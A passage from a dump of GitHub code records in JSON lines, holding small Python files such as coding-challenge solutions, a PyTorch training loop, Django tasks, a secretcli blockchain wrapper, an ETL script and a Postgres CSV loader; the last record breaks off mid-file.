new_max\n                res.append([ending_building[1], max_height, 1]) # for ending\n        \n        # Erase false duplicates ([[1,2,1],[1,2,2],[1,2,3]])\n        print(res)\n        new_res = []\n        \n        j, p = 0, len(res)\n        \n        while j < p:\n            \n            cnt = 1\n            c_max = res[j][1]\n            \n            while j + cnt < p and res[j][0] == res[j+cnt][0]:\n                if res[j][2] == 0:\n                    c_max = max(c_max, res[j+cnt][1])\n                else:\n                    c_max = min(c_max, res[j+cnt][1])   # ending so take the minimum\n                cnt += 1\n                \n            new_res.append([res[j][0], c_max])\n            \n            j += cnt\n        \n        return new_res","repo_name":"jathurchan/divecode.io","sub_path":"2020-2022/top-interview-questions/hard/218_TheSkylineProblem.py","file_name":"218_TheSkylineProblem.py","file_ext":"py","file_size_in_byte":2656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"1341941868","text":"def czy_istnieje_prostokat(dane):\n    for i in range(len(dane) - 3):\n        for j in range(i + 1, len(dane) - 2):\n            for k in range(j + 1, len(dane) - 1):\n                for l in range(k + 1, len(dane)):\n                    x1, y1 = dane[i]\n                    x2, y2 = dane[j]\n                    x3, y3 = dane[k]\n                    x4, y4 = dane[l]\n\n                    # Sprawdź czy punkty tworzą prostokąt\n                    if (x1 == x2) and (x3 == x4) and (y1 == y3) and (y2 == y4) and (x1 != x3) and (y1 != y2):\n                        # Sprawdź czy są równej długości\n                        if (y2 - y1) == (y4 - y3) and (x3 - x1) == (x4 - x2) and (y2 - y1) != (x4 - x2):\n                            check = 0\n                            for xd in range(i+1,l-1):\n                                if(xd !=j and xd !=k):\n                                    if(x1 < dane[xd][0] < x3) and (y1 < dane[xd][1] < y2):\n                                        check = -1\n                                        break\n                            if(check == 0):\n                                return True\n\n    return False\n\n# Przykładowe dane\ndane = [(0, 0), (0, 2), (3, 0), (3, 2), (1, 1), (2, 1), (1, 3), (2, 3), (4,5), (4,7), (5,5),(5,7)]\n\n# Wywołanie funkcji\ndane.sort()\nwynik = czy_istnieje_prostokat(dane)\nprint(wynik) ","repo_name":"karmiski/WDI","sub_path":"laboratorium 5/zadanie6.xd.py","file_name":"zadanie6.xd.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20722493320","text":"import os\n\nfrom apiclient import discovery\nfrom httplib2 import Http\nfrom oauth2client import client\n\n\ncredential_json = os.environ.get(\"CREDENTIALS\")\ncreds = client.OAuth2Credentials.from_json(credential_json)\nservice = discovery.build('sheets', 'v4', http=creds.authorize(Http()))\n\n\ndef grab_column(spreadsheetid, column, sheetname=\"\"):\n    if sheetname != \"\":\n        sheetname = sheetname + \"!\"\n\n    column_values = service\\\n        .spreadsheets()\\\n        .values()\\\n        .get(spreadsheetId=spreadsheetid, range='{}{}'.format(sheetname, column + \":\" + column))\\\n        .execute()\n\n    return column_values.get('values')\n\n\ndef update_cell(spreadsheetid, cell, body):\n    service.spreadsheets().values().update(spreadsheetId=spreadsheetid, range=cell,\n                                           valueInputOption='USER_ENTERED', body=body).execute()\n","repo_name":"shadd-anderson/google-spreadsheet-updater","sub_path":"spreadsheet_update.py","file_name":"spreadsheet_update.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"17765712653","text":"import sys\r\nfrom collections import deque\r\n\r\nN = int(sys.stdin.readline())\r\n\r\nqueue = deque()\r\ndiscard = deque()\r\n\r\nfor i in range(1, N + 1):\r\n    queue.append(i)\r\n\r\nfor i in range(N - 1):\r\n    discard.append(queue.popleft())\r\n    pop_value = queue.popleft()\r\n    queue.append(pop_value)\r\n\r\ndiscard.append(queue.popleft())\r\n\r\nfor _ in range(N):\r\n    result_value = discard.popleft()\r\n    print(f\"{result_value}\", end=\" \")\r\n","repo_name":"heegane/baekjoon","sub_path":"백준/Silver/2161. 카드1/카드1.py","file_name":"카드1.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73385707252","text":"import torch\nfrom torch.nn import Module\nfrom torch.optim import Adam\nfrom torch.optim import Optimizer\nfrom util.shift_reduce_utils import binary_tree_to_sr, sr_to_tensor, as_batch\nfrom random import shuffle\nfrom inference_loops.point import Point\n\n\ndef _make_batch(data_slice, to_device):\n    values = [to_device(torch.tensor([value])) for (value, _) in data_slice]\n    values_batch = torch.cat(values)\n    seqs = [seqs for (_, seqs) in data_slice]\n\n    max_len = max([len(s[0]) for s in seqs])\n    #padding with shift. The corresponding label should never affect gradient so should not matter\n    #So we take 0.\n    padding_label = torch.LongTensor([0])\n    padded_seqs = [(((max_len-len(s[0]))*['s'] + s[0]), (max_len-len(s[0]))*[padding_label] + s[1]) for s in seqs]\n\n    tensors = [sr_to_tensor(*s, to_device) for s in padded_seqs]\n    batch = as_batch(tensors)\n\n    return Point(batch, values_batch)\n\n\nclass BatchPerBatchLoop:\n    def __init__(self, data_points, tree_model: Module, loss: Module, to_device, verbose: bool=True, batch_size=10,\n                 optimizer_factory: Optimizer = Adam, *optimizer_args, **optimizer_kwargs):\n        self.data_points = data_points\n        self._data_points = [(point.value, binary_tree_to_sr(point.tree)) for point in self.data_points]\n        self.n_data = len(self.data_points)\n        self.tree_model = tree_model\n        self.loss = loss\n        self.to_device = to_device\n        self.optimizer = optimizer_factory(self.tree_model.parameters(), *optimizer_args, **optimizer_kwargs)\n        self.batch_size = batch_size\n        self.verbose = verbose\n\n    def step(self, epoch=0):\n        cumulated_loss = 0.\n        epoch_loss = 0.\n        instances = self._get_data_iterable(self.batch_size)\n        for (i, instance) in instances:\n            self.optimizer.zero_grad()\n\n            value = self.tree_model(instance.tree)\n            loss_and_grad = self.loss(value, instance.value)\n            loss_and_grad.backward()\n\n            self.optimizer.step()\n\n            loss_value = loss_and_grad.item()\n            cumulated_loss += loss_value\n            epoch_loss += loss_value\n\n            if self.verbose and i % 10 == 0:\n                print(\"\\t[epoch %d, batch number %d] mean loss over the last 10 batches: %f\" % (epoch, i, cumulated_loss / 10))\n                cumulated_loss = 0.\n\n        if self.verbose:\n            print(\"Epoch %d mean loss: %f\" % (epoch, epoch_loss/i))\n\n    def train(self, epochs : int):\n        for epoch in range(1, epochs+1):\n            self.step(epoch)\n\n    def _get_data_iterable(self, N):\n        shuffle(self._data_points)\n        n_batches = len(self._data_points) // N + (len(self._data_points) > 1)\n        for i in range(n_batches):\n            if i*N < self.n_data:\n                yield (i+1, _make_batch(self._data_points[i*N:(i+1)*N], self.to_device))\n\n\n","repo_name":"avena554/listops_sandbox","sub_path":"inference_loops/batch_per_batch_loop.py","file_name":"batch_per_batch_loop.py","file_ext":"py","file_size_in_byte":2859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"71182303733","text":"from WebBlog.celery_tasks import app\nfrom .models import Blog\nfrom django_redis import get_redis_connection\nfrom django.core import mail\nfrom django.conf import settings\nimport logging\nimport os, django\n\nlog = logging.getLogger(\"django\")\n\n\n@app.task(name='update_count')  # name表示设置任务的名称，如果不填写，则默认使用函数名做为任务名\ndef update_count():\n    conn = get_redis_connection('default')\n    blogs = []\n    read_dict = conn.hgetall('read_count')\n    for item in read_dict:\n        blog_id = int(item.decode())\n        # blog_id = int(item.split(':')[0])\n        blog = Blog.objects.filter(pk=blog_id).first()\n        blog.read_count += int(read_dict[item].decode())\n        blogs.append(blog)\n    conn.delete('read_count')\n    Blog.objects.bulk_update(blogs, ['read_count'])\n\n\n@app.task\ndef send_email_celery(subject, message, email):\n    mail.send_mail(\n        subject=subject,\n        message=message,\n        from_email=settings.EMAIL_HOST_USER,\n        recipient_list=[email]\n    )\n\n# @app.task\n# def forget_password(csrftoken, email):\n#\n#     mail.send_mail(\n#         subject='找回密码',\n#         message='请点击下面链接重置您的账户密码:{}/{}/'.format(settings.SERVER_NAME + \"/forget\",csrftoken),\n#         from_email=settings.EMAIL_HOST_USER,\n#         recipient_list=[email]\n#     )\n","repo_name":"yzwjy25/Django-Blog","sub_path":"web/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37384119286","text":"from RagnarokDatabase.models import MVP\nimport csv\n\ndef run():\n    fhand= open('RagnarokDatabase/scripts/Lista MVP.csv')\n    reader = csv.reader(fhand)\n    next(reader) # Avanza más allá de las cabeceras\n\n    # Aquí el ejemplo borra los items con app.models.all().delete()\n\n    for row in reader:\n        print(row)\n        #b, created = MVP.objects.get_or_create(name=row[1])\n        c = MVP(name=row[0])\n        c.save()\n    print('MVP Database Update Done!')","repo_name":"RomeroRodriguezD/RagnarokMVPKillsDatabase","sub_path":"RagnarokDatabase/scripts/csvreaderexample.py","file_name":"csvreaderexample.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"22950754901","text":"import os\nimport json\nimport subprocess\nfrom shutil import copyfile\nfrom subprocess import PIPE, run as subprocess_run\nfrom typing import List, Dict\n\nfrom src.contracts.secret.secret_contract import swap_json\nfrom src.util.config import Config\nfrom src.util.logger import get_logger\n\nlogger = get_logger(logger_name=\"SecretCLI\")\n\n\ndef query_encrypted_error(tx_hash: str):\n    cmd = ['secretcli', 'q', 'compute', 'tx', tx_hash]\n    resp = run_secret_cli(cmd)\n\n    resp_json = json.loads(resp)\n    return resp_json[\"output_error\"]\n\n\ndef sign_tx(unsigned_tx_path: str, multi_sig_account_addr: str, account_name: str):\n    cmd = ['secretcli', 'tx', 'sign', unsigned_tx_path, '--signature-only', '--multisig',\n           multi_sig_account_addr, '--from', account_name]\n\n    return run_secret_cli(cmd)\n\n\ndef multisig_tx(unsigned_tx_path: str, multi_sig_account_name: str, *signed_tx):\n    cmd = ['secretcli', 'tx', 'multisign', unsigned_tx_path, multi_sig_account_name] + list(signed_tx)\n\n    return run_secret_cli(cmd)\n\n\ndef create_unsigned_tx(secret_contract_addr: str, transaction_data: Dict, chain_id: str, enclave_key: str,\n                       code_hash: str, multisig_acc_addr: str) -> str:\n    cmd = ['secretcli', 'tx', 'compute', 'execute', secret_contract_addr, f\"{json.dumps(transaction_data)}\",\n           '--generate-only', '--chain-id', f\"{chain_id}\", '--enclave-key', enclave_key, '--code-hash',\n           code_hash, '--from', multisig_acc_addr]\n    return run_secret_cli(cmd)\n\n\ndef broadcast(signed_tx_path: str) -> str:\n    cmd = ['secretcli', 'tx', 'broadcast', signed_tx_path]\n    return run_secret_cli(cmd)\n\n\ndef decrypt(data: str) -> str:\n    cmd = ['secretcli', 'query', 'compute', 'decrypt', data]\n    return run_secret_cli(cmd)\n\n\ndef query_scrt_swap(nonce: int, contract_addr: str) -> str:\n    query_str = swap_json(nonce)\n    cmd = ['secretcli', 'query', 'compute', 'query', contract_addr, f\"{query_str}\"]\n    p = subprocess_run(cmd, stdout=PIPE, stderr=PIPE, check=True)\n    return p.stdout.decode()\n\n\ndef query_tx(tx_hash: str):\n    cmd = ['secretcli', 'query', 'tx', tx_hash]\n    return run_secret_cli(cmd)\n\n\ndef query_data_success(tx_hash: str):\n    \"\"\" This command is used to test success of transactions - so we can safely ignore any errors and assume in any case\n    that means the tx isn't on-chain\n    \"\"\"\n    cmd = ['secretcli', 'query', 'compute', 'tx', tx_hash]\n    try:\n        resp = run_secret_cli(cmd)\n        return json.loads(json.loads(resp)[\"output_data_as_string\"])\n    except (RuntimeError, json.JSONDecodeError, KeyError):\n        return {}\n\n\ndef run_secret_cli(cmd: List[str]) -> str:\n    \"\"\"\n\n    \"\"\"\n    try:\n        logger.debug(f'Running command: {cmd}')\n        p = subprocess.run(cmd, stdout=PIPE, stderr=PIPE, check=True)\n    except subprocess.CalledProcessError as e:\n        logger.error(f'Failed: stderr: {e.stderr.decode()}, stdout: {e.stdout.decode()}')\n        raise RuntimeError(e.stdout.decode()) from None\n\n    logger.debug('Success')\n    return p.stdout.decode()\n\n\ndef configure_secretcli(config: Config):  # pylint: disable=too-many-statements\n\n    # check if cli is already set up:\n    cmd = ['secretcli', 'keys', 'list']\n    result = run_secret_cli(cmd)\n    if result.strip() != '[]':  # sometimes \\n is added to the result\n        logger.info(f\"{result}\")\n        logger.info(\"CLI already set up\")\n        return\n\n    cmd = ['secretcli', 'config', 'output', 'json']\n\n    run_secret_cli(cmd)\n    cmd = ['secretcli', 'config', 'indent', 'true']\n    run_secret_cli(cmd)\n    cmd = ['secretcli', 'config', 'trust-node', 'true']\n    run_secret_cli(cmd)\n    cmd = ['secretcli', 'config', 'node', config['secret_node']]\n    run_secret_cli(cmd)\n    cmd = ['secretcli', 'config', 'chain-id', config['chain_id']]\n    run_secret_cli(cmd)\n    cmd = ['secretcli', 'config', 'keyring-backend', 'test']\n    run_secret_cli(cmd)\n\n    # set up multisig\n    signers = []\n    for i, key in enumerate(config[\"secret_signers\"]):\n        cmd = ['secretcli', 'keys', 'add', f'ms_signer{i}', f'--pubkey={key}']\n        signers.append(f'ms_signer{i}')\n        run_secret_cli(cmd)\n\n    cmd = ['secretcli', 'keys', 'add', f'{config[\"multisig_key_name\"]}', f\"--multisig={','.join(signers)}\",\n           '--multisig-threshold', f'{config[\"signatures_threshold\"]}']\n    run_secret_cli(cmd)\n\n    logger.debug(f'importing private key from {config[\"secret_key_file\"]} with name {config[\"secret_key_name\"]}')\n\n    # import key\n    key_path = os.path.join(f'{config[\"KEYS_BASE_PATH\"]}', f'{config[\"secret_key_file\"]}')\n    cmd = ['secretcli', 'keys', 'import', f'{config[\"secret_key_name\"]}',\n           f'{key_path}']\n    process = subprocess.Popen(cmd,\n                               stdin=subprocess.PIPE,\n                               stdout=subprocess.PIPE,\n                               stderr=subprocess.PIPE)\n    inputdata = config[\"secret_key_password\"]\n    _, stderrdata = process.communicate(input=(inputdata+\"\\n\").encode())\n\n    if stderrdata:\n        logger.error(f\"Error importing secret key: {stderrdata}\")\n        raise EnvironmentError\n\n    logger.debug(\"copying transaction key..\")\n    # copy transaction key from shared location\n    src_key_path = os.path.join(f'{config[\"KEYS_BASE_PATH\"]}', 'id_tx_io.json')\n    dst_key_path = os.path.join(f'{config[\"SECRETCLI_HOME\"]}', 'id_tx_io.json')\n    copyfile(src_key_path, dst_key_path)\n\n    # test configuration\n    cmd = ['secretcli', 'query', 'account', config['multisig_acc_addr']]\n    run_secret_cli(cmd)\n\n    #\n    cmd = ['secretcli', 'query', 'register', 'secret-network-params']\n    run_secret_cli(cmd)\n","repo_name":"levackt/EthereumBridge","sub_path":"src/util/secretcli.py","file_name":"secretcli.py","file_ext":"py","file_size_in_byte":5606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"29349417644","text":"def add(a,b):\n  \"\"\"\n  Realiza a soma de dois numeros\n  @author: Marcos Vinicius\n  \"\"\"\n  return a+b\n\ndef maior(a,b):\n    \"\"\"\n    Realiza a comparacao entre dois numeros\n    @author: Marcos Vinicius\n    \"\"\"\n    if a>b:\n        return a\n    return b\n\ndef soma(lista, x=0):\n    \"\"\"\n    Realiza a soma da lista com o elemento x\n    @author: Marcos Vinicius\n    \"\"\"\n    somador = 0\n\n    for elemento in lista:\n        somador+=elemento\n    \n    return somador+x\n\ndef media(lista):\n    \"\"\"\n    Realiza a media da lista\n    @author: Marcos Vinicius\n    \"\"\"\n    contador=0 \n    somador=0\n\n    for elemento in lista:\n        somador+=elemento\n        contador+=1\n\n    return (somador/contador) \ndef valoresIguais(lista1, lista2):\n    \"\"\"\n    Realiza a comparacao entre duas listas\n    retorna os elementos iguais \n    @author: Marcos Vinicius\n    \"\"\"\n    retornoLista = []\n    for elLista1 in lista1:\n        for elLista2 in lista2:\n            if elLista1==elLista2:\n                retornoLista.append(elLista1)\n    return retornoLista\n\ndef indice_prim_valor_igual(lista1,lista2):\n    \"\"\"\n    Realiza a comparacao entre duas listas\n    retorna o indice do elemento igual \n    @author: Marcos Vinicius\n    \"\"\"\n    x = -1\n    for elLista1 in lista1:\n        for elLista2 in lista2:\n            if elLista1==elLista2:\n                x = lista1.index(elLista1)\n                if x >= 0:\n                    return x\n         \n    return None\n\nif __name__ == \"__main__\":\n  x = add(2,3)\n  print(\"Soma: \"+str(x))\n\n  #Maior \n  x = maior(2,3)\n  print(\"Maior: \" +str(x))\n\n  #Soma numeros\n  listaDeNumeros = [1,2,3,4,5,6]\n  x = soma(listaDeNumeros, 6)\n  print(\"Soma da lista: \" +str(x))\n\n  #Media numeros\n  listaDeNumeros = [1,2,3,6]\n  x = media(listaDeNumeros)\n  print(\"Media: \" + str(x))\n\n  #Valores iguais\n  listaDeNumeros1 = [1,5,7,8]\n  listaDeNumeros2 = [5,8,7,10,11]\n  listaIguais = []\n  listaIguais = valoresIguais(listaDeNumeros1, listaDeNumeros2)\n  print(\"Iguais: \" + str(listaIguais))\n\n  #Indice primeiro valor igual\n  listaDeNumeros1 = [13,9,3,1,14]\n  listaDeNumeros2 = [5,8,7,10,11]\n  indiceIgual = indice_prim_valor_igual(listaDeNumeros1,listaDeNumeros2)\n  print(\"Indice: \" + str(indiceIgual))","repo_name":"MarVinReisSantos/exercicios-frontend-CEFET","sub_path":"4 Bimestre/Exercicio 1/codigo.py","file_name":"codigo.py","file_ext":"py","file_size_in_byte":2189,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"15750337750","text":"from .from_list_connector import FromListConnector\nimport os\nimport numpy\nfrom six import string_types\nfrom pyNN.connectors import FromFileConnector as PyNNFromFileConnector\nfrom pyNN.recording import files\n\n\nclass FromFileConnector(FromListConnector, PyNNFromFileConnector):\n    # pylint: disable=redefined-builtin\n    __slots__ = [\"_file\"]\n\n    def __init__(\n            self, file,  # @ReservedAssignment\n            distributed=False, safe=True, callback=None, verbose=False):\n        self._file = file\n        if isinstance(file, string_types):\n            real_file = self.get_reader(file)\n            try:\n                conn_list = self._read_conn_list(real_file, distributed)\n            finally:\n                real_file.close()\n        else:\n            conn_list = self._read_conn_list(file, distributed)\n\n        column_names = self.get_reader(self._file).get_metadata().get(\n            'columns')\n        if column_names is not None:\n            column_names = [column for column in column_names\n                            if column not in (\"i\", \"j\")]\n\n        # pylint: disable=too-many-arguments\n        FromListConnector.__init__(\n            self, conn_list, safe=safe, verbose=verbose,\n            column_names=column_names, callback=callback)\n        PyNNFromFileConnector.__init__(\n            self, file=file, distributed=distributed, safe=safe,\n            callback=callback)\n\n    def _read_conn_list(self, the_file, distributed):\n        if not distributed:\n            return the_file.read()\n        filename = \"{}.\".format(os.path.basename(the_file.file))\n\n        conns = list()\n        for found_file in os.listdir(os.path.dirname(the_file.file)):\n            if found_file.startswith(filename):\n                file_reader = self.get_reader(found_file)\n                try:\n                    conns.append(file_reader.read())\n                finally:\n                    file_reader.close()\n        return numpy.concatenate(conns)\n\n    def __repr__(self):\n        return \"FromFileConnector({})\".format(self._file)\n\n    def get_reader(self, file):  # @ReservedAssignment\n        \"\"\" Get a file reader object using the PyNN methods.\n\n        :return: A pynn StandardTextFile or similar\n        \"\"\"\n        return files.StandardTextFile(file, mode=\"r\")\n","repo_name":"apdavison/sPyNNaker8","sub_path":"spynnaker8/models/connectors/from_file_connector.py","file_name":"from_file_connector.py","file_ext":"py","file_size_in_byte":2284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"}
+{"seq_id":"39969642382","text":"def TestError(d):\n    try:\n        print('正常结果：',8/d)\n    except:\n        print('这是异常！！！')\n    else:\n        print('其他异常！')\n    finally:\n        print('这是finally')\n\ni=4\nwhile(i>=0):\n    TestError(i)\n    i-=2\n\n\nwhile True:\n    s=input('请输入一个整数：')\n    try:\n        i=int(s)\n        i=8/i\n\n    except ValueError:\n        print('确认输入的是数字！')\n    except ZeroDivisionError:\n        print('不能输入0！')\n\n#   except(ValueError,ZeroDivisionError) as err:\n#       print(err)\n    else:\n        print('正确！')","repo_name":"hurricaney/PythonStart","sub_path":"PythonApplication1/Data/TryCatch.py","file_name":"TryCatch.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"33568642122","text":"\"\"\"\r\nThis problem was asked by Microsoft.\r\nImplement a URL shortener with the following methods:\r\nshorten(url), which shortens the url into a six-character alphanumeric string, such as zLg6wl.\r\nrestore(short), which expands the shortened string into the original url. If no such shortened string exists, return null.\r\nHint: What if we enter the same URL twice?\r\n\"\"\"\r\nimport requests\r\nfrom random import choice\r\n\r\n\r\nclass URLShortener(dict):\r\n\r\n    shortened_url_characters = \"aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ1234567890\"\r\n    max_urls = 10000000  # Some max, should be based on length of shortened_url_characters\r\n\r\n    def __init__(self, prefix, *args, **kwargs):\r\n        self.prefix = prefix\r\n\r\n    def __call__(self, url):\r\n        return self.shorten(url)\r\n\r\n    def shorten(self, url):\r\n        if len(self) >= self.max_urls:\r\n            raise ValueError(\"This URLShortener is full! no more URLs can be shortened based on the allowed characters.\")\r\n        if url in self.values():\r\n            return next(short for short, previous_url in self.items() if previous_url == url)\r\n        shortened_url = \"\"\r\n        while not shortened_url or shortened_url in self:\r\n            shortened_url = \"\".join(choice(self.shortened_url_characters) for _ in range(6))\r\n        self[shortened_url] = url\r\n        return shortened_url\r\n\r\n    def restore(self, short):\r\n        return self.get(short)\r\n\r\n    def deactivate(self, short):\r\n        return self.pop(short)\r\n\r\n    def full_shortened_url(self, short):\r\n        return \"{prefix}/{short}\".format(prefix=self.prefix, short=short)\r\n\r\n    def redirect(self, short):\r\n        try:\r\n            return requests.get(self.full_shortened_url(short))\r\n        except requests.exceptions.ConnectionError:\r\n            pass\r\n\r\n\r\nurl_shortener = URLShortener(\"https://goo.gl.com\")\r\nshort = url_shortener(\"https://www.facebook.com/\")\r\nprint(short)\r\nshort = url_shortener(\"https://www.facebook.com/\")\r\nprint(short)\r\nprint(url_shortener.full_shortened_url(short))\r\nfull = url_shortener.restore(short)\r\nprint(full)\r\nfacebook = url_shortener.redirect(full)\r\nprint(facebook)\r\nurl_shortener.deactivate(short)\r\nprint(short in url_shortener)\r\n","repo_name":"joe-bethke/daily-coding-problems","sub_path":"DCP-55-20190310.py","file_name":"DCP-55-20190310.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"21990734259","text":"from tkinter import *\n\nclass BotonGuardar(Frame):\n    def __init__(self, master):\n        Frame.__init__(self, master)\n\n        # Atributos de la clase\n        self.configuracion = None\n        self.lista_opciones = []\n\n        # Configuraciones del frame\n        self.config(\n            bg=\"#2c2b33\",\n            width=370,\n            height=50\n        )\n\n        # Partes del programa\n        self.boton = Button(self, text=\"Guardar\", command=self.guardar_configuracion)\n        self.separador = Label(self, text=\"\")\n\n        # Configuración de estilo del objeto\n        self.boton.config(\n            fg=\"white\",\n            borderwidth=0,\n            bg=\"cadetblue\"\n        )\n\n        self.separador.config(\n            bg=\"#2c2b33\"\n        )\n\n        # posicionamiento de los objetos\n        self.boton.place(x=160, y=9)\n    \n    def enviar_configuracion(self, configuracion):\n        self.configuracion = configuracion\n    \n    # Enviamos los objetos combobox al frame\n    def enviar_lista_opciones(self, lista_opciones):\n        self.lista_opciones.append(lista_opciones)\n    \n    def guardar_configuracion(self):\n        self.configuracion.modificar_modo_ordenamiento(self.lista_opciones[0].get())\n        self.configuracion.modificar_algoritmo(self.lista_opciones[1].get())\n        self.configuracion.modificar_criterio(self.lista_opciones[2].get())","repo_name":"LimbersMay/AppOrdenadorFicheros","sub_path":"ventana_config/boton_guardar.py","file_name":"boton_guardar.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"39862593830","text":"CFG = {\n    \"data_path\": \"../cmfd_forge_train/\",\n    \"kwargs\": {\"num_workers\": 4},\n    \"batch_size\": 128,\n    \"epoch\": 25,\n    \"lr\": 1e-3,\n    \"momentum\": 0.9,\n    \"log_interval\": 10,\n    \"l2_decay\": 0,\n    \"lambda\": 10,\n    \"backbone\": \"alexnet\",\n    \"n_class\": 2,\n}\n","repo_name":"AKASH2907/Forgery-Classification-via-Domain-Adaptation","sub_path":"DDC_DeepCoral/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"21"}
+{"seq_id":"16045645867","text":"import nltk #for natural language processing \nnltk.download(['punkt', 'wordnet', 'averaged_perceptron_tagger'])\n\nimport re\nimport numpy as np\nimport pandas as pd\n\n#nltk pakages \nfrom nltk.tokenize import word_tokenize\nfrom nltk.stem import WordNetLemmatizer\n\n#sklearn pakages\n\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.pipeline import Pipeline, FeatureUnion\nfrom sklearn.base import BaseEstimator, TransformerMixin\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer\nfrom sqlalchemy import create_engine\n\ndef load_data(messages_filepath, categories_filepath):\n    engine = create_engine('sqlite:///etl_df.db')\n    df =pd.read_sql_table('etl_df',engine)\n    X = df['message']\n    y= df.iloc[:, 4:]\n    print(X.head(5))\npass\n\n\ndef clean_data(df):\n    df = pd.merge(messages,categories)\n    df.head()\n    categories = df[\"categories\"].str.split(\";\", n=36, expand=True)\n    categories.head()\n    row = categories.iloc[0]\n    category_colnames = row.apply(lambda x: x[:-2])\n    print(category_colnames)\n    categories.columns = category_colnames\n    categories.head()\n    for column in categories:\n        # set each value to be the last character of the string\n        categories[column] = categories[column].str[-1]\n        \n    # convert column from string to numeric\n        categories[column] = pd.to_numeric(categories[column])\n        categories.head()\n\n        df.drop('categories',axis = 1, inplace = True)\n        df.head(7)\n        frames = [df,categories]\n        df = pd.concat(frames, axis=1)\n        df.head()\n        df[\"is_duplicate\"]= df.duplicated()\n        print(df.head())\n        df.drop_duplicates(subset='id', inplace=True)\n        df[\"is_duplicate\"]= df.duplicated()\n        print(df.tail())\n        return df\npass;\ndef save_data(df, database_filename):\n    from sqlalchemy import create_engine\n    engine = create_engine('sqlite:///etl_df.db')\n    df.to_sql('etl_df', engine, index=False)\npass\n\ndef main():\n    if len(sys.argv) == 4:\n\n        messages_filepath, categories_filepath, database_filepath = sys.argv[1:]\n\n        print('Loading data...\\n    MESSAGES: {}\\n    CATEGORIES: {}'\n              .format(messages_filepath, categories_filepath))\n        df = load_data(messages_filepath, categories_filepath)\n\n        print('Cleaning data...')\n        df = clean_data(df)\n        \n        print('Saving data...\\n    DATABASE: {}'.format(database_filepath))\n        save_data(df, database_filepath)\n        \n        print('Cleaned data saved to database!')\n    \n    else:\n        print('Please provide the filepaths of the messages and categories '\\\n              'datasets as the first and second argument respectively, as '\\\n              'well as the filepath of the database to save the cleaned data '\\\n              'to as the third argument. \\n\\nExample: python process_data.py '\\\n              'disaster_messages.csv disaster_categories.csv '\\\n              'DisasterResponse.db')\n\n    if __name__ == '__main__':\n       main()\n","repo_name":"sadhukruz/Disaster-response-pipeline","sub_path":"data/process_data.py","file_name":"process_data.py","file_ext":"py","file_size_in_byte":3105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"24646189363","text":"from psycopg2 import pool\nfrom psycopg2.extras import RealDictCursor\nimport logging\n\n# -----\nimport psycopg2\nfrom sqlalchemy import create_engine\nimport csv\n\n\nengine = create_engine('postgresql+psycopg2://postgres:Testing123@dbservice:5432/postgres')\nconn = engine.connect()\ntry:\n    conn.execute(\"CREATE database IF NOT EXISTS test1\")\n    conn.execute(\"commit\")\nexcept Exception as e:\n    print(e)\nfinally:\n    conn.close()\n\n# copy csv to postgres\nconn = psycopg2.connect(database=\"test\", user=\"postgres\", password=\"Testing123\", host=\"dbservice\", port=\"5432\")\ncursor = conn.cursor()\n\n# create table\ncursor.execute(\"CREATE TABLE IF NOT EXISTS countries (id serial PRIMARY KEY, country varchar(200), alpha2 char(30), alpha3 char(30), nuCode int, latitude float, longitude float)\")\n# copy data from csv to table\nwith open('countries.csv', newline='') as csvfile:\n    reader = csv.DictReader(csvfile)\n    for row in reader:\n        cursor.execute(\"INSERT INTO countries (country, alpha2, alpha3, nuCode, latitude, longitude) VALUES (%s, %s, %s, %s, %s, %s)\", (row['Country'], row['Alpha2_code'], row['Alpha3_code'], row['Numeric_code'], row['Latitude'], row['Longitude']))\nconn.commit()\nconn.close()\n# ---\n\ntry: \n    connection_pool = pool.SimpleConnectionPool(1, 5, host=\"dbservice\", port=5432,\n                                                database=\"test\",\n                                                user=\"postgres\",\n                                                password=\"Testing123\")\nexcept Exception as e:\n    connection_pool = None\n    logging.info(str(e))\n\"\"\"\nQueries \n\"SELECT * from countries limit 10;\"\n\n\"SELECT * from countries WHERE id = {id}\n\"\"\"\n\ndef get_top_10():\n    if connection_pool != None:\n        conn = connection_pool.getconn()\n        values = None\n        with conn.cursor(cursor_factory=RealDictCursor) as cursor:\n            cursor.execute(\"SELECT * from countries limit 10;\")\n            values = cursor.fetchall()\n        connection_pool.putconn(conn)\n        return values\n    return {\"error\":\"conneting to db\"}\n\ndef get_one_country(id_):\n    if connection_pool != None:\n        conn = connection_pool.getconn()\n        values = None\n        with conn.cursor(cursor_factory=RealDictCursor) as 